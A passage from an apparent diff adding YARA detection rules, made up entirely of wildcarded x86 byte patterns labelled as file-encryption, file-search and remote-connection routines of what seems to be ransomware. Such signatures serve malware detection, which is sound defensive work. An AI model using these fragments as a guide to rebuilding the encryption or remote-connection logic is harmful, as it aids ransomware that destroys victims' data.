+            83 F8 ?? 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 45 ?? 89 4C 24 ?? 89
+            54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 C6 8B 45 ?? 89 C1 BB
+            ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 CF 31 C7 89 7D ?? 89 DF 31 D7 89 7D ?? 8B 45 ?? 0B
+            45 ?? 85 C0 0F 94 C0 0F B6 C8 8B 55 ?? 8B 45 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 89
+            F0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24
+            A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? A1 ?? ?? ?? ?? FF D0 89 45 ?? 8B 45 ?? 85 C0
+            79 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ??
+            8D 4D ?? 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0
+            83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? 90 EB ?? 8B 4D ?? 8B 5D ??
+            8B 45 ?? BA ?? ?? ?? ?? 29 C1 19 D3 89 C8 89 DA 89 45 ?? 89 55 ?? 8B 45 ?? BA ?? ??
+            ?? ?? 01 45 ?? 11 55 ?? 8B 45 ?? 8B 55 ?? 89 C6 83 F6 ?? 89 75 ?? 89 D0 80 F4 ?? 89
+            45 ?? 8B 55 ?? 8B 4D ?? 89 C8 09 D0 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            8B 45 ?? 85 C0 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 8B 45 ??
+            89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89
+            04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ??
+            ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83
+            EC ?? 8B 45 ?? 8D 65 ?? 5B 5E 5F 5D C2
+        }
+		$encrypt_files_2 = {
+            55 89 E5 56 53 81 EC ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 89 85
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 85 C0 0F 84 ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC ?? 84 C0 0F 84 ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04
+            24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF
+            D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89
+            44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 95 C0 84 C0 0F 84
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ??
+            8B 85 ?? ?? ?? ?? 80 F4 ?? 89 C3 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 C6 89 F0 09 D8 85 C0
+            74 ?? 8B 45 ?? 8B 55 ?? 3B 95 ?? ?? ?? ?? 72 ?? 3B 95 ?? ?? ?? ?? 77 ?? 3B 85 ?? ??
+            ?? ?? 76 ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 40 ??
+            89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 8B 55 ?? 89 44 24 ?? C7 44 24 ??
+            ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 50 ?? 89 D0 C1 E0 ?? 01 D0 01 C0 89
+            45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89
+            44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ??
+            FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45
+            ?? 8B 40 ?? BA ?? ?? ?? ?? 8B 4D ?? 8B 5D ?? 39 DA 72 ?? 39 DA 77 ?? 39 C8 76 ?? 89
+            C8 89 DA 89 45 ?? 8B 4D ?? 8B 55 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 89
+            4C 24 ?? 89 54 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 F8 ?? 0F 94
+            C0 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 45 ?? 89 4C 24 ?? 89 54 24 ?? 89 04
+            24 E8 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 C1 BB ?? ?? ?? ?? 8B 45 ?? 8B 55 ??
+            89 CE 31 C6 89 B5 ?? ?? ?? ?? 89 DE 31 D6 89 B5 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B B5
+            ?? ?? ?? ?? 89 D8 09 F0 85 C0 0F 94 C0 88 45 ?? 8B 55 ?? 0F B6 4D ?? 8B 5D ?? 8B 45
+            ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ??
+            C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? A1 ?? ?? ??
+            ?? FF D0 89 45 ?? 8B 45 ?? 85 C0 79 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4D ??
+            8B 55 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 45
+            ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ??
+            ?? ?? 90 EB ?? 8B 4D ?? 8B 5D ?? 8B 45 ?? BA ?? ?? ?? ?? 29 C1 19 D3 89 C8 89 DA 89
+            45 ?? 89 55 ?? 8B 45 ?? BA ?? ?? ?? ?? 01 45 ?? 11 55 ?? 8B 45 ?? 8B 55 ?? 89 C6 83
+            F6 ?? 89 B5 ?? ?? ?? ?? 89 D0 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B B5 ??
+            ?? ?? ?? 89 F0 09 D8 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 80 F4 ?? 89 85 ?? ?? ?? ?? 8B 9D ??
+            ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 F0 09 D8 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 2B
+            45 ?? 1B 55 ?? 89 45 ?? 89 55 ?? 8B 45 ?? 8B 40 ?? 89 C1 BB ?? ?? ?? ?? 8B 45 ?? 8B
+            55 ?? 39 D3 72 ?? 39 D3 77 ?? 39 C1 76 ?? 89 C1 89 D3 89 4D ?? 8B 45 ?? C7 44 24 ??
+            ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24
+            A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 F8 ?? 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B
+            45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4D ?? 89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ??
+            89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ??
+            ?? EB ?? 8B 45 ?? 8B 55 ?? 8B 4D ?? BB ?? ?? ?? ?? 29 C8 19 DA 89 45 ?? 89 55 ?? 8B
+            45 ?? 8B 55 ?? 89 C3 80 F7 ?? 89 9D ?? ?? ?? ?? 89 D0 80 F4 ?? 89 85 ?? ?? ?? ?? 8B
+            9D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 F0 09 D8 85 C0 74 ?? E9 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ??
+            8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B
+            45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8
+            ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ??
+            FF D0 83 EC ?? 8B 45 ?? 8D 65 ?? 5B 5E 5D C2
+        }
+		$search_files = {
+            E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 95 C0 88 45 ?? 80 7D ?? ?? 74 ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ??
+            83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 83 45 ?? ?? EB ?? A1 ??
+            ?? ?? ?? FF D0 89 C3 C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
+            04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 89 1C 24 89 C1 E8 ?? ?? ?? ?? 83 EC
+            ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8
+            ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 8B 45 ?? 89
+            C1 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 89 D9 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            89 1C 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8
+            ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 89 C1
+            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 90 8D 85
+            ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 95
+            C0 84 C0 74 ?? E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 ?? ??
+            ?? ?? A1 ?? ?? ?? ?? FF D0 89 C3 C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? 89 1C 24 89 C1 E8 ?? ??
+            ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ??
+            ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7
+            04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45
+            ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 05 ??
+            ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0
+            74 ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 C2 8B 85 ?? ?? ?? ?? 89 14 24 89 C1
+            E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            89 C2 8B 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8
+            ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8
+        }
+		$search_files_2 = {
+            FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 89 C3 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 81 C2 ?? ?? ?? ?? 8B 42 ??
+            83 E0 ?? 83 C8 ?? 89 42 ?? 89 1C 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 C3 8B
+            00 89 DA 03 50 ?? 8B 42 ?? 83 E0 ?? 83 C8 ?? 89 42 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ??
+            ?? ?? 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ??
+            ?? 83 EC ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BB ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ??
+            89 04 24 89 D9 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
+            04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ??
+            ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8
+        }
+		$remote_connection = {
+            55 89 E5 53 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 44 24 ?? C7
+            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F0 ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8
+            ?? ?? ?? ?? 8B 45 ?? 8B 00 89 45 ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89 44 24 ?? 8D 45
+            ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ??
+            8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 45 ?? 83 7D ?? ?? 74 ?? 81 7D ?? ?? ??
+            ?? ?? 75 ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 39 45 ?? 77 ?? 8D 45 ??
+            89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 8D 45 ?? 8D 4D ?? 89 4C 24 ?? 89 14 24 89 C1 E8
+            ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8D 50 ?? 8D 45 ?? 89 04 24 89 D1 E8 ?? ?? ?? ?? 83 EC
+            ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 83 45 ?? ?? 83 45 ??
+            ?? EB ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 81 7D ?? ?? ?? ?? ?? 75 ?? E9 ??
+            ?? ?? ?? 8D 45 ?? 83 C0 ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 8B 45 ??
+            05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 50 ?? 8D 45 ?? 89 04 24 89 D1 E8
+            ?? ?? ?? ?? 83 EC ?? 8B 45 ?? 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 90 8D 45 ?? 89
+            C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89
+            C1 E8 ?? ?? ?? ?? EB ?? 89 C3 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 89 D8 89 04 24 E8 ?? ??
+            ?? ?? 90 8B 5D ?? C9 C2
+        }
+		$remote_connection_2 = {
+            55 89 E5 57 56 53 83 EC ?? 89 4D ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 45 ?? 89 44 24 ?? C7 04 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 8B 03 89 45 ?? EB ?? 83 EC ?? 89 45 ?? 85 C0 74 ?? 3D ?? ??
+            ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89
+            44 24 ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 83 7D ?? ??
+            74 ?? BE ?? ?? ?? ?? 8D 7D ?? EB ?? 83 EC ?? 8D 45 ?? 89 04 24 8D 4D ?? E8 ?? ?? ??
+            ?? 83 EC ?? 8B 45 ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C6 ?? 39 75 ?? 72 ?? 8B
+            45 ?? 8B 5C B0 ?? 89 7D ?? B8 ?? ?? ?? ?? 85 DB 74 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 04
+            43 C6 44 24 ?? ?? 89 44 24 ?? 89 1C 24 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04
+            24 E8 ?? ?? ?? ?? 83 EC ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? C1 F8 ?? 69 C0 ?? ?? ??
+            ?? 85 C0 74 ?? 8B 7D ?? 8D 9F ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 47 ?? 3B 47 ??
+            74 ?? 85 C0 74 ?? 8B 55 ?? 89 10 8D 48 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ??
+            8B 45 ?? 83 40 ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 8D 45 ?? 89 04
+            24 E8 ?? ?? ?? ?? 83 EC ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2
+        }
+		$encrypt_files_3 = {
+            55 57 56 53 83 EC ?? 8B 41 ?? 85 C0 75 ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
+            ?? BE ?? ?? ?? ?? 89 F0 83 C4 ?? 5B 5E 5F 5D C2 ?? ?? 89 CB C7 44 24 ?? ?? ?? ?? ??
+            8D 54 24 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 FF
+            15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C7 BE ?? ??
+            ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ??
+            ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C2 89 44 24 ??
+            83 F8 ?? 74 ?? 8D 44 24 ?? 89 44 24 ?? 89 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85
+            C0 75 ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ??
+            83 EC ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 F6 0F 84 ?? ?? ?? ?? 8B
+            84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 89 44 24 ?? 89 54 24 ?? 8B 43 ?? 89 04
+            24 E8 ?? ?? ?? ?? 89 44 24 ?? 8B 73 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24
+            E8 ?? ?? ?? ?? 8D 04 B6 01 C0 89 44 24 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C5 C7 44 24 ??
+            ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89
+            44 24 ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24
+            ?? 8B 54 24 ?? 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 89 7C 24 ?? 89 C6 89 D7 89 5C 24 ?? E9
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? 89 5C 24 ?? 8B 44 24 ??
+            89 44 24 ?? 8B 4C 24 ?? 89 0C 24 FF 54 24 ?? 83 EC ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 89
+            5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? C7
+            44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 89 44 24 ?? 89 6C 24 ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 DA 31 F2 09 FA 0F 94 C0 0F B6 C0 89 44 24 ?? C7 44 24 ?? ??
+            ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C3 FF 15 ?? ?? ?? ?? 85
+            C0 78 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 89
+            6C 24 ?? 8B 4C 24 ?? 89 0C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 2B 74 24 ?? 1B
+            7C 24 ?? 89 FA 09 F2 74 ?? 8B 44 24 ?? 8B 58 ?? B8 ?? ?? ?? ?? 39 F8 0F 82 ?? ?? ??
+            ?? 39 F3 0F 47 DE E9 ?? ?? ?? ?? 8B 7C 24 ?? 89 DE EB ?? 8B 7C 24 ?? BE ?? ?? ?? ??
+            85 ED 74 ?? 89 2C 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 89 04 24 E8
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? ?? ?? ?? EB
+        }
+		$encrypt_files_4 = {
+            FF 15 ?? ?? ?? ?? 83 EC ?? 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89
+            34 24 89 54 24 ?? 89 44 24 ?? 89 4C 24 ?? FF 95 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 29 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 19 95 ?? ?? ?? ?? 8B
+            8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 D0 89 CA 09 C2 0F 84 ?? ?? ?? ?? 31 D2 3B 95 ??
+            ?? ?? ?? 8B 43 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 72 ?? 77 ?? 8B 8D ?? ?? ?? ??
+            39 C8 76 ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 89 44 24 ?? 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 54 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ??
+            83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 89 04 24 E8 ?? ?? ?? ?? 89 34 24 8B 35 ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 83 EC
+            ?? 89 04 24 FF D6 8B 85 ?? ?? ?? ?? 83 EC ?? 89 04 24 FF 15 ?? ?? ?? ?? 8B 8D ?? ??
+            ?? ?? 83 EC ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7
+            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 88 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 C7
+            04 24 ?? ?? ?? ?? FF 50 ?? 83 EC ?? 0F B7 C0 B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
